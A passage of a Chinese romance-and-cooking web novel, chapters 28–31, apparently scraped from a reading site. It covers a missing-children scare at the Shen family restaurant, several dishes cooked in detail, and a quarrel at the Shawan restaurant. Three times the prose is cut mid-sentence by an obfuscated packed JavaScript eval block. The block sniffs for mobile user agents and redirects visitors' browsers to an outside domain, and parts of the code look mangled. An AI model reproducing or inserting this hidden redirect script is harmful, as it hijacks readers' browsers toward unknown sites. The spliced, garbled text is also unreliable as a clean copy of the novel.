沈木犀顺着顾辰的方向看，一个箩筐拴在了长长的绳子上。 顾辰轻轻踮脚，伸手将那箩筐拿了下来。 那里面是一块正五花肉。 沈木犀看见那块肉如获至宝。 顾辰没有多言，接过那块肉，洗好将肥肉切了下来。 此刻顾辰将洗好的锅擦净给到沈木犀。 二人即便没有说话也配合的十分融洽。 沈木犀将煤炉的盖子打开，架好的锅很快就热了。 沈木犀将肥肉下锅煸炒，直到将肥肉熇干，她拿过顾辰递过来的小碗将油与油渣分开装好。 此时一股浓烈的猪油香气将整个后厨填满。 “真香啊。”沈木犀动作没停，直接拿过脚边的热水瓶，将开水倒了下去。 沈木犀正在等待水开。 大大的咕嘟泡，将沾有猪油的水面翻滚开来。 沈木犀闻着味道，只觉得好久没有闻到过着煤炉熇出猪油渣的香气了。 而就在沈木犀将手边的挂面撒入开水锅里。 顾辰不知从哪里递过来了一小块油渣，沈木犀有些意外，但仍是张开了口，于是顾辰将那油渣用手指捏着伸进了沈木犀的嘴里。 就在沈木犀尝到油渣的同时，舌尖也感受到了顾辰的手指。 沈木犀一时愣在了原地，而顾辰已经转身离开了灶前。 沈木犀再回过神来，顾辰已经从各种瓶瓶罐罐里找出了一坛品质非常好的酱油。 齐活儿了。 于是待面煮好，沈木犀将碗底调好底味。 一勺猪油，两勺酱油，青菜铺底，细面挑匀入面碗。 这道阳春面，十分本味。 …… 二人端着面出来，给在座的都煮了一碗，万喜和那醉汉的碗里还有一个用猪油煎的荷包蛋。 那醉汉也十分识趣，闻着味，似是酒醒了几分。 那醉汉起身寻摸着味，将那面条尽数吃下，眼神也逐渐清明了起来。 28. 白糖粥 沈木犀见那醉汉还能退出椅子，将裤兜里的草纸摸出，擦嘴。 这人估计是已经醒了。 但沈木犀仍是低着头吃面。 这面，清淡可口。 这样的通宵夜里吃着最合适了。 顾辰见沈木犀吃得也差不多了，将她用过的碗筷悉数拿走，末了还温柔地说了一声“师姐这阳春面，真好吃”。 顾辰的话虽然轻轻地，但是沈木犀都听到了，一时劳累的身心似乎都有了一些安慰。 沈木犀见顾辰去到后厨，将一把椅子摆在了麻将馆的正中，坐下了。 “万大，能帮忙吗？”沈木犀看那醉汉。 那醉汉一时有些懵，自己不认识眼前突然出现的这些人，怎么她知道自己的名字。 万喜先也是有些惊，琢磨难道是自己刚才乱中吐露了自己哥的名字？一时万喜想不明白，但又觉得不重要。 万大：“找我的人无非只有三种，一种问事儿、一种喝酒，一种吃饭的。” “问事儿。” “看在你这碗阳春面做的有点水平，问吧。”万大清晰地记得刚才的那碗面的味道。那滋味魂牵梦萦，是无数个水雾天，母亲送他上学时的早饭。每到年节就会多蒯一点猪油放在他的碗底。 “沈家酒楼之前的主厨陈炎，下午在芭蕉坝锅炉厂门口带走了两个孩子。想问陈炎把孩子带去哪儿了？” 沈木犀一字一句的清楚说到，又看看陈叔，陈叔冲她点点头。 “陈炎最近总来我这儿找派出所的熟人，好像打听孩子帮厨会不会犯法的事。不知道和他带走孩子有没有关系。我晚上听说全城都在找孩子，有人说是陈炎带走了孩子，晚些时候看到他们回了沈家酒楼那个方向。” 还没等万大把话说完，陈叔看向沈木犀，眼神中夹杂着万般的疑惑，当即冲了出去。 沈木犀与顾辰也同时追了过去。 …… 陈叔脚程非常快，沈木犀和顾辰也在后面紧跟着。一路上陈叔都没有说话。 尴尬的气氛围绕在陈叔与沈木犀之间。 沈木犀觉得奇怪，如果陈炎带着两个孩子又回了沈家酒楼，伙计们为什么不来告诉一声。 陈叔内心也有相同的疑问，但陈炎真的会害自己的孩子吗？沈木犀在这期间是否因为主厨的其他原因，让陈炎配合她演戏给他看呢？ 为什么又要在这小小的麻将馆里耽误这么长的时间呢？ 陈叔想不明白，他需要马上回到沈家酒楼。 …… 陈叔见到沈家酒楼，上台阶时差点摔了过去，一把被赶来的顾辰和沈木犀扶住了。 陈叔将手抽出，明显不愿意二人靠近自己，尤其是对上沈木犀的眼神时，充满了不解。 陈叔着急，快速登上台阶，将沈家酒楼的大门推开。 而令人震惊的是，沈家酒楼的大堂竟然空无一人。 “孩子呢？孩子呢？”陈叔焦急地在沈家酒楼里打转。 放眼望去，也没见到有两个孩子的踪迹。 此时沈家酒楼大堂里的时钟响起，表盘显示早上六点。 “人呢？人呢？”陈叔声音由小增大。 他开始在前厅后厨犄角旮旯里寻找。 “我的孩子呢？我的孩子呢？”陈叔一时有些控制不住自己身体，开始翻箱倒柜，无意中还将脚边的开水瓶踹翻了好几个。 水瓶爆裂，开水四溅，沈木犀和顾辰赶忙来扶。 陈叔却发现扶着他的是沈木犀。 陈叔觉得是不是自己错信了沈木犀。 不然自己也不会搞丢孩子。 不知道是开水误伤的烫伤疼痛还是伤心的无力感，陈叔看着仍是一脸写着不知道的沈木犀暴怒。 “都是因为你！” 沈木犀觉得自己答应爷三在酒楼帮厨，却没有看管好孩子，难辞其咎，低着头不说话。 “要不是因为陈炎要娶你为妻，我女儿也不会被人抛弃，我就不会为了孩子带着他们来到城里。还误打误撞来了你这儿帮厨。我孩子没了，我还要什么工作。我怎么给我那苦命的女儿交代。” 陈叔崩溃控诉，沈木犀想要上前解释，伸出手想要安抚陈叔。却被陈叔一把挣脱开，暴怒的陈叔顺势将沈木犀推了一把。 沈木犀一个趔趄就要摔出去，惊得沈木犀叫出了声，却发现自己仍停留在半空中，摔进了一个宽大的怀抱里，沈木犀猛地抬头，是顾辰。 随之而来的是陈叔无差别的在沈家酒楼的大堂内摔着桌子上的碗碟板凳。 此刻，陈叔绝望的将整个沈家酒楼的大堂摔了。 顾辰将沈木犀扶好，想要上前阻止陈叔，却被沈木犀拦下了。 “让他砸吧。”沈木犀说。 顾辰只得在大厅里看着陈叔砸着东西，直到陈叔体力不支的倒在了那滩水上，嘴里仍在念叨。 “都怪你，我的孩子没了。” 陈叔手脸被自己砸店伤得不轻，满脸泪水与汗水。 模糊间，他看见明美揉着眼睛从二楼的楼梯上走了下来，渐渐地来到他的身边。 “姥爷，你回来了？” 陈叔心情沉落到了低谷，又环视了一眼被自己胡乱砸了大堂，眼前又看到明美的样子，觉得自己应该是真的疯了。 而站在不远处的沈木犀和顾辰一脸震惊。 沈木犀一个箭步冲到了明美的身前，紧紧地抱住了她。 明美看到眼前的状况，仍是有些发懵。 明美：“姥爷，这是怎么了？” 沈木犀：“明美你怎么在这儿？” 明美：“我刚才在睡觉，好像听见姥爷的声音了，但是楼下太吵了，我胆子小不敢下来，后来看到姥爷在楼下我就下来了。” 明美回答了沈木犀的问题，得到这个答案，沈木犀一时反应过了自己没有问对。 沈木犀：“明美你和明事在二楼睡觉吗？师兄弟们呢？” 陈叔逐渐意识到眼前的小明美不是自己的幻觉，如梦初醒，一把抱住小明美。 “哥哥们被那个陈炎叔叔带去喝酒了。”明美被陈叔突然的亲近感到奇怪。“姥爷刚才这里是有坏人吗？” 陈叔想到自己刚才的所做所为，跪在地上，抱着明美痛哭，“是，刚才有个坏人在这里发疯。” 沈木犀一时面对这样的爷孙，内心五味杂陈。 此刻她也只想安安静静的待一会儿，一时有些泄劲。 顾辰把沈木犀挪到大厅角落里坐着。沈木犀坐在长凳上，说不出话来。 人究竟有多少的力量积蓄在身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946738|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体之中。这样情绪剧烈的波动是沈木犀上一世不曾有的，她虽然觉得一时有些无法应对，但是她十足的感受到了那浓烈的情感。 沈木犀呆呆地坐着，抬头看着沈家酒楼的招牌。 沈木犀此刻心里在问，原来你在静处竟然看到了如此多的人间悲欢。 顾辰坐在沈木犀的身边，沈木犀将头靠在了顾辰的肩膀上。 沈木犀没有开口，她想说，小师弟先别离开，让我靠一靠。 顾辰的肩膀宽阔温暖，一阵困意席卷而来，沈木犀的眼皮实在是支撑不住了，渐渐睡去。 顾辰就这样一动不动，待沈木犀睡熟。 顾辰将沈木犀轻轻放平在三张长凳拼凑的一个平台上。 顾辰拿了几把油纸伞，将沈木犀遮挡起来，让她可以睡个好觉。 再起身时，顾辰发现陈叔已经带着明美上楼了。 顾辰则一个人在大厅慢慢打扫。 后厨里，顾辰也没有闲着。 顾辰拿过一个砂锅，取出两碗大米，将水填满砂锅，上了灶慢慢煮。 灶台上，顾辰开始忙碌，他准备完小菜，便又回到大厅开始收拾。 天光渐亮，街面上开始有人来往，偶有几辆自行车和汽车飞驰而过。 大堂渐渐回到了原本的模样，顾辰将手边的垃圾扔到门外。 顾辰经过沈木犀睡觉的地方，他从油纸伞缝隙的位置看到了沈木犀熟睡的样子，于是顾辰嘴角牵起一丝微笑。此时熟睡的沈木犀真是可爱。 而后顾辰来到后厨，打算去看着他灶上的粥。 此时白米开花，米汤逐渐浓稠。 无数咕嘟起来的大泡泡，一层层地推开水面。 顾辰要是再晚来一刻，那米汤会直接涌出将炉灶上的火焰浇灭。 顾辰眼疾手快，快速关小火，又用勺子轻轻的在白粥里顺时针搅动。 此时白粥已经十足的浓稠，白米散发而来的米香，萦绕在了整个后厨。 砂锅里的粥最是娇气，不得离人半步，火小米会下沉粘锅糊掉，火大温度过高，粘稠的米汤将会不断的涌向锅外。 于是顾辰在灶前一圈一圈的滑动粥底。 白米将水逐渐融合，开出米花，软糯绵柔。咕嘟泡的声音也越发黏腻。 米和水融为一体，这样的白粥是疗愈无数个清晨最好的伙伴。 顾辰只单单将白粥煮好，沈木犀便被这温暖的味道叫醒。 顾辰将一碗白粥盛出，端出打算让沈木犀吃了回沈园休息。来了大厅却发现沈木犀已经将油纸伞收起，在八仙桌前坐好，冲着顾辰笑了笑。 “什么好吃的，都给我香醒了。” 顾辰来到沈木犀身边，将那碗白粥摆在了她的面前。 那白粥莹润剔透，上面盖着一层白砂糖。 沈木犀眼前一亮，拿过勺子舀了一大口，顾辰却捏住沈木犀的手。 沈木犀一时有些惊，“小心烫。”顾辰俯身将沈木犀手上那勺粥轻轻吹了几遍。 沈木犀也有些发愣，顾辰见粥凉了，这才起身，于是沈木犀将这勺粥一口送入了嘴里。 那白糖还没有完全融化，仍能吃到白糖颗粒感。热粥将部分融化的白糖化成糖水。 沈木犀只觉得胃里如舌尖一般甜蜜。 29. 沙湾饭店 沈木犀吃完顾辰的粥，十分满足，给应红写了个留言条嘱咐了下今天营业需要注意的事情，以及可以处理的方案后，让顾辰也赶紧回去休息。 顾辰把沈木犀送到沈园门口，沈木犀此时也不知道是白糖粥的血糖犯困还是熬了一夜导致的疲惫，此刻只赶紧到头好好睡一觉。 再醒来估计自己就要活力全开的准备主厨大赛的事情了。 沈木犀沉浸在自己世界里，被不远处顾辰的声音吓了一跳。 “早安！” 顾辰靠在他的那辆偏三轮车上，沈木犀回过头看着这个少年正在朝阳下，笑着露出一口灿白的牙齿。 沈木犀一时也觉得这样的早晨可真好啊，只可惜自己要去睡觉了。 于是冲着顾辰挥挥手：“早安！” 沈木犀转过身往沈园里去，总觉得顾辰给自己的说句早安还是有些怪？思考着这个年代都开始流行说早安、午安、晚安了？最后沈木犀想不明白，觉得顾辰确实是挺摩登的。 沈木犀前脚进了沈园，后脚顾辰也开车离开回家休息了。 …… 顾辰住在一栋老家属院里，二楼最里的一个套二的宿舍就是他房子。 屋子里虽然面积不大，但是家电家具一应俱全。 中间的客厅可以摆下一张饭桌，其余每个方向都有门通向一间卧室。 这个年代一般家里都需要煤炉子烧水洗澡，而顾辰已经可以洗淋浴了。 他把衣服全部脱下，扔进了洗衣机里，走进浴室洗澡。 没一会儿，顾辰擦着头发，把座机旁边的电话本翻开，开始拨号。 顾辰：“李会记，让出纳帮我约下吴大伟时间，定在下午1点的沙湾饭店。” 就在顾辰想要挂断电话时，李会记的声音从听筒里传来。 李会计：“小辰，你爸让我催催你再次入伍的事，如果没有什么其他情况，可以把申请提交了。” 那头李会计见顾辰没有回话。 李会记：“小辰，这个入伍空军是之前顾老爷子说的，现在时间快接近了，也不见你回赤水整理下资料，如果可以咱们就要是进入报名程序了呀。” 顾辰：“李会计，我最近有些事情需要处理，这块事情你先不用盯着了。” 听筒里李会计有些慌神，毕竟这件事顾家的老爷子要求盯的。 李会记：“可是……” 顾辰：“放心吧，之后找个时间我回赤水和他解释。” 顾家老爷子一直不知道如何安排自家的这个儿子，所以总是琢磨让顾辰入伍。 顾辰本来在队伍里当过两年兵，因为总是在炊事班里炒菜，顾老爷子心疼儿子，于是让顾辰退伍了回赤水镇来。 但是顾辰回来了后，并没有参与家族生意。他还是喜欢待在后厨，于是来到沈家酒楼拜师学艺。 本来顾辰一直对老爷子说再次入伍的事无所谓，但是最近他的想法变了。 他想待在沈家酒楼，想待在沈木犀身边。 顾辰挂掉电话，把头发擦干，又把床头柜上的闹钟定到中午12点。经过了一夜的忙碌，顾辰现在也有些困了。 …… 中午，吴大伟正在和陈炎在沙湾饭店吃饭。 陈炎看看桌上的几个菜，臊眉搭眼的。 凉拌西红柿、青椒炒肉丝、蘑菇汤、黄瓜炒鸡蛋。 陈炎：“吴老板，沙湾饭店好歹是曾经的国营饭店，你不点招牌菜就算了，点这样的几个菜，说是要找我谈大生意？” 吴大伟拍脑门：“疏忽了疏忽了呀，我这个人平时爱吃这几个菜，就下单了。”吴大伟招呼服务员：“服务员来来来。” 陈炎：“得了吧。这沙湾饭店的主厨也就那样。我还不稀罕吃呢。” 服务员被叫来了跟前，陈炎的话也也已经秃噜了出来。服务员识趣见吴大伟没有继续点菜的意思，于是来回看了看，便又拿着菜单离开了。 陈炎：“之前不是说谈生意吗？说吧。” 吴大伟：“聊生意前，我想知道陈炎兄和顾家老号关系究竟如何啊？” 陈炎：“这和做生意有什么关系？” 吴大伟：“陈炎兄我主要是做粮食生意，又在火车站，量大才是销路对吧，众所周知顾家老号背靠赤水酱香酒。” 陈炎不屑一笑：“你是想做酱香酒高粱米的生意。” 吴大伟：“怎么，不可？” 陈炎：“我陈炎就是个小喽啰，咱们做点儿餐馆米面就行了。” 陈炎觉得自己的眼界还是比较单纯的，做点眼前能够得着的生意就算不错了。 吴大伟这样的属于痴心妄想。 吴大伟：“那我也表达一下我的诚意。我考察到的，您和顾家老号的老板娘顾星河相识已久。我希望通过您的这个关系，打通我参与赤水酱香酒高粱米投标的可能。事成之后，给您十个点。” 陈炎：“也就是一个标书投递，投完了，我就能收钱？” 吴大伟：“进入投标过程，哪怕今年不行，明年我们也可以再战啊。” 陈炎觉额吴大伟这说的勉强有道理，于是这才开始动了动手里筷子开始吃饭。 陈炎吃饭间隙，吴大伟都有在给自己布菜。虽然菜色相当有一般，但好在吴大伟十足的殷勤。 于是陈炎三下五除二的刨了完了饭留下了一句中肯的评价：“真难吃。” 吴大伟见陈炎起了身，赶忙问：“陈炎兄，觉得如何啊？” “哦，我回去问问吧，有消息了告诉你。”陈炎习惯性拿牙签剔牙，一想想刚才那几个菜也就那样，剔牙都浪费竹子，于是又将牙签随手扔了。 吴大伟见陈炎离开了，他看看手里的表，此时已是中午十二点半。 他和赤水酱香酒的人预约的时间差不多快到了，于是出门将脚下的赤水酱香酒拿出，去到了离他们最近的包间。 包间里菜色明显不一样：分别是蜂窝土豆丝、白油肚条、夫妻肺片、粑粑回锅肉、三鲜锅巴、麻油鲜桃仁、椒盐桃酥、莲藕排骨汤，一壶竹叶青。 吴大伟看着这个菜摆盘精致，分量十足，应该还算比较有面子。 此时吴大伟想去趟洗手间，整理好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949370|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着装避免一会儿唐突了，转身出了包房。 …… 顾辰一身得体的西装，与平时在后厨打杂的形象差别很大，帅气的样子引来周围人的侧目。 顾辰并没有在意周围人的眼光，跟随领班的指引从大门走过前厅，向着吴大伟的包房的地方去了。 而正要离开的陈炎觉得刚才与自己擦身而过的那人十分熟悉，回望那人，于是转身朝那人走去。 …… 包房门口的服务员和顾辰确定了下信息告诉顾辰，吴大伟稍后到，请顾辰稍作等待。 而顾辰刚一坐下，陈炎便从外走了进来。 陈炎：“我说怎么这么眼熟呢，原来是小师弟啊？” 门口的服务员见陈炎认得里面的人，赶来了但是并没有拦，一直看着顾辰等着吩咐。 顾辰掀起眼皮，轻挥了下手，示意服务员可以离开。 陈炎：“啧啧啧，这小师弟真是不一般啊，在人后这行头，太是那个。”陈炎又看向顾辰面前桌子上的菜，全是沙湾饭店的招牌菜。 陈炎：“啊呀呀，这中午的饭，不得吃掉我们沈家酒楼小师弟一个月的工钱啊。” “不用钱，今天有人请客。”顾辰没有看陈炎，拿过一杯竹叶青喝了起来。 见顾辰甚至没有站起来要和他打招呼的意思，陈炎直接怒了。 “顾辰你在这儿拽什么拽，不要以为你换身行头就能到处骗吃骗喝，你不过是沈家酒楼里的一个小工。你这种人就不配到沙湾饭店的包间里吃饭。” “是嘛？” “你知道这沙湾饭店的主厨是什么人吗？这道蜂窝土豆丝也是你这种低级小工配吃的菜吗？” 顾辰终于看向陈炎，陈炎继续说：“沙湾饭店的主厨是餐饮世家，国营饭店的前身，家里什么来头你肯定也很清楚。” 见顾辰仍不搭腔，陈炎：“那是我哥们儿！” 顾辰有些惊讶看向陈炎。 陈炎心虚：“怎么不信吗？我随时可以找他来，给你上上尊师重道的课。” 顾辰：“咱们大师兄还真是深藏不漏啊。” 陈炎：“你最好知道！别以为我不知道你对沈木犀是何居心。” 陈炎见顾辰奉承他，气焰更加嚣张，直接上手在顾辰的额头上猛点了两下，顾辰轻偏过了头，眼中散露出一丝寒气。 “你要是今天能跪在地上给我磕两个响头，说一句大师兄我错了，我可以考虑原谅你。” 陈炎搬出一把椅子，面前让出一个位置来。 顾辰站起了身，陈炎轻蔑的笑笑：“顾辰就你这种沈家酒楼低级小工，也配，哼。” 陈炎说着这句话的同时，包房的门被人推开了。 陈炎和顾辰纷纷看向门口。 包房的服务员让出一个过道来，只见一位身着厨师服的人走了进来。 包房服务员：“二位先生好，我们主厨看到预订包房的人是他的战友顾辰，想来问候一声。特意又新加了两样菜，亲自送来。” 那主厨走进了包间一脸严肃：“刚才是谁在骂我战友？” 30. 鸡枞蛋汤 此时中午，正是沈家酒楼上客的时段，前厅后厨正在忙活开工。 沈木犀环抱着双臂坐在大厅，她盯着眼前的三人。 沈国华、叶三叔、叶十七。 三人一身脏兮兮的，但是神采奕奕，身边放着好几个包袱，桌上摆满了各种各样的新鲜食材。 叶十七紧张开口：“沈木犀你听我说，我们这次去赤水山里有重大收获，我们……” 沈木犀打断叶十七说话：“我现在什么都不想知道。” 沈国华：“犀犀，你听我们解释。” 沈木犀抬手打断：“你们究竟饿了几天？” 沈国华环顾了下四周，侧身在沈木犀身边小声说：“犀犀现在酒楼生意，除了以往的老顾客，还需要找有些新的办法。比如食材、新菜谱，我们这次还走访了好几个老厨子，得到了一些老菜谱。” 沈国华脚下竟然有一块石碑。 他吃力的和叶三叔两人搬动着。 而叶三叔眉头皱得更加深了，但是他没有吭声，和沈国华一起将那块石碑从地上搬到了八仙桌上。 应红见二人要把这东西搬到桌上，老远处便大声喊着。 “哎哎哎，可不敢啊。桌子磨花了可怎么办啊？” 沈国华不管不顾：“这石头更值钱。” 应红：“这可是咱家最好的桌子啊。” 沈木犀：“叶三叔有胃病，饿不了你们不知道？” 沈国华和叶十七相互对望，又看看叶三叔。 叶三叔为化解尴尬：“犀犀，你看我们在赤水山里找到不少野生菌。不太常见的我们都没有带回来，你看这个鸡枞还没有开伞，还有这个牛肝菌，都是顶好的菌子……” 沈木犀没听完叶三叔说话，将鸡枞抱走去了后厨。 三人不敢出大气，怕沈木犀扭脸再找他们麻烦，于是叶十七站起身去到后厨想要帮忙。 却撞上沈木犀停下来和他们说话。 叶三叔和沈国华仍在低头研究那块石头，感觉到了沈木犀的目光，这才抬头又看她。 沈木犀：“收起来，一会儿吃完饭看。” 沈木犀向二人使了个眼神，又看向四周。 沈国华这次意会，赶紧又将那石头搬了下去。 沈木犀无奈的摇着头走了。 …… 沈木犀抱着那三人给她的装了鸡枞的箩筐进了厨房。 这鸡枞新鲜的很，箩筐底垫了稻草，每一枚舒展的鸡枞都被新鲜的南瓜叶包得好好的，一个个像穿着衣服一样。 沈木犀觉得这样的食材，定能做出一碗绝顶的鸡枞煎蛋汤！ 什么都不用加，鸡枞所散发的极鲜的美味就会让人终身难忘。 这道菜这不仅出餐快，也是鸡枞最美味的吃法。 此时在后厨帮忙的明美用小手拉了拉沈木犀的衣角。 明美：“我可以帮忙。” 沈木犀笑着点点头：“好啊。” 沈木犀将箩筐拿了下来，二人找到一个角落打算开始清洗。 就在沈木犀抬手拿过一个筲箕装菜时，正巧碰上来后厨传单的陈叔。 陈叔没想到会碰上沈木犀，他有些尴尬，一时不知如何开口。 沈木犀：“陈叔，我爹从山里找了不少鸡枞，中午加餐啊。” 陈叔木讷地点点头，又继续忙手头的事儿了。 …… 明美的小手拿过一朵快超过她手臂那么长的鸡枞。 沈木犀将南瓜叶去掉，打算用洗碗池上的丝瓜瓤清洗鸡枞上的泥土。 明美却拿着南瓜叶示意沈木犀用这个。 明美：“南瓜叶就可以，丝瓜瓤还是太硬会给这个菌菇擦伤的。” 说完，明美将一枚饱满还未完全开散的鸡枞放入水里，然后用南瓜叶，沾湿水份，将鸡枞好好的清洗干净。 沈木犀笑着摸了摸明美的头：“我们明美可真是能干啊。” 于是沈木犀和明美一起蹲在地上，将水盆里的菌菇仔细地擦洗干净。 明美：“我姥爷有些时候就是不太会和人讲话，他烧饭很好吃。这些都是他教我的。” 沈木犀点点头。 此时陈叔安排师兄弟们出餐，竟从兜里拿出2个鸡蛋放在了鸡枞的筲箕旁。 沈木犀看着一句话没说又走了的陈叔，感觉这种画面像是什么时候看到过，像一个沈木犀生命里非常重要的人。 沈木犀被来帮忙的叶十七拉回思绪。 叶十七：“沈木犀，饭什么时候好啊？” 沈木犀：“马上就好。” 叶十七嘴上虽然在催，拿过面前的食材开始备菜。 沈木犀也加快了手上的速度。 她拿过猪油，在小炉灶上化油，把叶十七挑选出来的，碎掉的鸡枞倒入锅中，慢慢煸干水份。 猪油的香气渐渐把鸡枞的鲜味聚拢，此时沈木犀加入干辣椒和蒜末入锅。 鸡枞所产生的水汽，开始与辣椒蒜末一起慢慢融合。 鸡枞碎开始慢慢变黄，沈木犀开始调味。 不需要多少调料，只需要一点盐，保证好底味就可以了。 只见焦香的鸡枞碎慢慢缩小变成焦黄色。 一股浓郁的鲜味蔓延开来，哪怕是正在做菜的各位师兄们也纷纷侧目。 “小师妹，你锅里的宝贝可真香啊。” “是不是鸡枞啊！来了城里我可是好多年都没有吃到过。” “那味道鲜得流口水。” “就这鸡枞油拌面条，我能吃下一大盆面。” 师兄弟们议论着，沈木犀已经将鸡枞油与鸡枞碎分离出倒在了两个碗里了。 沈木犀将锅洗好重新放在炉子上。 她又加了少许猪油，叶十七这一次很识趣的把鸡蛋液打好，放在一旁备用了。 “沈木犀，快点！抓紧时间。”叶十七一脸的不放心，不时往前厅看着。 “这个很快，再备点开水来。”沈木犀嘴上说着，手上并没有闲着。 油锅烧热，鸡蛋液倒入锅中，鸡蛋被迅速膨大，还需要在等一会儿，鸡蛋得炸到酥泡才能翻面。 酥泡的鸡蛋可以吸收更多的汤汁，包裹住更多的鲜美滋美。 这时鸡蛋液成为固体，被油不断扩大，开始高于油面一公分左右。 此时沈木犀稳准的颠锅，摊成饼状的鸡蛋快速在空中翻面，又直直的落在了锅里。 还需要让另一面煎酥泡起来。只见两面煎得香酥，叶十七有些按捺不住性子，将一瓶开水倒入锅中。 沈木犀撇了叶十七一眼。 “现在知道急了。” “我爹饿了。”叶十七低着头不好意思嘟囔着。 开水在锅中瞬间将油脂冲破开来，迅速乳化泛白，此时沈木犀将一旁备好的鸡枞下锅。 “马上好了。”沈木犀淡淡开口道。 “我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955304|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是想解决沈家酒楼经营的问题，不是为了故意去玩让你一个人撑着酒楼。”叶十七不看沈木犀说道。 “叶三叔胃不好，山里有一顿没一顿的，下次你带我去。” 沈木犀也平静地告诉叶十七，其实她完全可以为沈家酒楼独挡一面。她不想看到他们任何一个人为了让她安逸过活，而不在意自己的身体。 前世和今生都万万不该。 此时鸡枞蛋汤烧开。 汤色越发的浓郁，沈木犀将盐加入锅中。 “盛饭，汤我端去。”沈木犀嘱咐叶十七，于是叶十七点头答应去盛饭了。 “盛下面一点，软一点的饭。”沈木犀嘱咐道。 沈木犀盛出一大碗来端去了前厅，又留下了一大碗给后厨的师兄弟们。 …… 沈木犀再坐在桌前时，叶十七已经将三碗米饭摆到了桌上。 叶三叔明显有些不适，沈木犀赶紧将汤盛到了三人的碗里，第一个递给三叔。 沈木犀：“三叔，慢点喝。” 叶三叔看着沈木犀笑笑，冲着沈国华得意：“看来犀犀我是没白疼啊，都先给我盛汤，老沈你没这待遇吧。” 一桌人看着叶三叔的脸色明显不对，沈国华：“是啊，你赶紧吃饭吧。” 沈木犀：“对赶紧吃吧。” 叶三叔安慰大家：“老毛病了，吃完饭就能好，放心吧。” 沈木犀点点头，嘱咐叶十七：“你下午带着三叔去趟人民医院，检查一下。” 叶十七：“没这么严重。” 叶三叔听到去医院整个人都不太好，打算站起身，又被沈国华按了下去。 叶三叔：“我不去，我下去还得去摆摊儿呢，好几家的货还得我送，馆子里都没料下了。” 叶三叔低头捧着碗打算喝汤，那汤确实鲜美，浓白色的汤底，鲜味浓郁的香气都散发开来，此时叶三叔明显是饿了，但算捧着美美的喝上一大口。 就在嘴快要接触到碗边时，却被一只手夺过了手上的汤。 叶三叔见到嘴的汤，被放到了桌上，还咽了下口水，抬眼看是沈木犀。 “不去，汤就不给喝。“沈木犀把那碗汤拿过，扭脸冲着沈国华“爹给您。” 沈国华一时有些得意洋洋，顺势接过那碗汤。 有意的在叶三叔面前举了举，打算一口喝下。 只见叶三叔腾地站起身，夺过了那碗汤，又看向了沈木犀。 叶三叔：“去去去，去就是了！” 至此沈木犀这才没有干预那碗汤的归属。 见叶三叔在认真吃着饭，鲜得直喝了好几口。 沈国华见叶三叔吃的这么香，于是自己给自己盛了一碗。 沈木犀低头拿过一只空碗，盛了一小口汤喝着，是山林间对于鲜味的馈赠。 再晚一刻伞盖如果打开，都无法得到如此绝佳的美味。 沈木犀抬头看向沈国华：“爹下午医院检查身体，你也得去。” 沈木犀琢磨，既然有个契机，就赶紧让他们重视起自己的身体来。 叶三叔一脸不止自己一个人要去医院的样子，看着沈国华哈哈哈大笑，沈国华有些尴尬，又被叶三叔莫名其妙的笑声惹得笑出声来。 就在此时，应红焦急地跑到沈木犀面前。 应红：“犀犀，沙湾饭店那边来电话，说我们的人在那边闹事，快把人店砸了。叫咱们掌柜的去呢。” 31. 酒局 沙湾饭店的领班在前台将座机听筒放回了远处，眼睛却一刻不停的盯着不远处他们主厨所在的包间。 那领班实在不放心，又朝着那包房走去。 就在她要到门口时，只见一双筷子又被砸出来，正巧滚落到了她的脚边。 于是那领班鼓起勇气，整理了下微笑，赶忙走了进去。 此时包房内，吴大伟真是十分后悔刚才自己为什么要出去上厕所，起码可以盯着不让陈炎进来捣乱。 …… 他赶到时，陈炎和沙湾饭店的主厨还有顾辰已经共处一室了。 陈炎得知顾辰与沙湾饭店的主厨是老相识，本来气势上就输了一大截。 正巧这时，吴大伟走了进来，陈炎赶在吴大伟想要掉头离开时喊住了他。 陈炎觉得吴大伟有如神兵天降。 陈炎：“哎，吴大老板，请进请进。” 吴大伟已经被陈炎认出，只得硬着头皮走到几人跟前。 陈炎一把拉过吴大伟，揽住他的肩膀。 “吴大老板，我们全市做粮油买卖的，那生意做的，都是几十个车皮，几十个车皮的发货。” 陈炎得意洋洋，完全么没有感受到吴大伟不时看着顾辰心虚的目光。 “当然，这些都不重要，重要的是吴大老板最近要找我合作，我们即将要和……” 吴大伟赶忙拉住陈炎，抢话：“我们就做点小买卖。” 陈炎将吴大伟拦下的手撇开，继续说：“怎么能说是小买卖呢？” 顾辰看着陈炎，又看向吴大伟。 “赤水酱香酒你们知道吧？”陈炎得意的拿鼻孔看着顾辰。 顾辰的嘴边微不可闻的牵了下。 